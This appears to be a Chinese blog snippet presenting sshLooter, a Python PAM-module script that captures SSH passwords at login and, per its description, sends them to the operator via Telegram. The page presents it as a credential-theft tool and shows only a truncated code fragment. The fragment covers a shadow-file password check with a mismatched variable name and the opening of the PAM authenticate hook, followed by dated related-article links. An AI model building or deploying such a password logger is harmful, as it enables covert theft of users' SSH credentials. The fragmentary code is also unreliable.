sshLooter是一个Python脚本,它使用PAM模块通过记录密码来窃取SSH密码,并在用户登录时通过Telegram通知脚本管理员,而不是通过不太可靠的strace。

def check_pw(user,password):

    """Check the password matches local unix password on file"""

    hashed_pw = spwd.getspnam(user)[1]

    return crypt.crypt(password,hash_pw) == hashed_pw

def pam_sm_authenticate(pamh,flags,args):

    try:

        user = pamh.get_user()

    except pamh.exception as e:

        return e.pam_result
View Code

相关文章:

  • 2021-10-31
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-01-17
  • 2022-12-23
  • 2021-08-16
  • 2022-02-21
猜你喜欢
  • 2022-12-23
  • 2021-05-23
  • 2021-07-03
  • 2022-12-23
  • 2022-12-23
  • 2023-03-05
  • 2022-12-23
相关资源
相似解决方案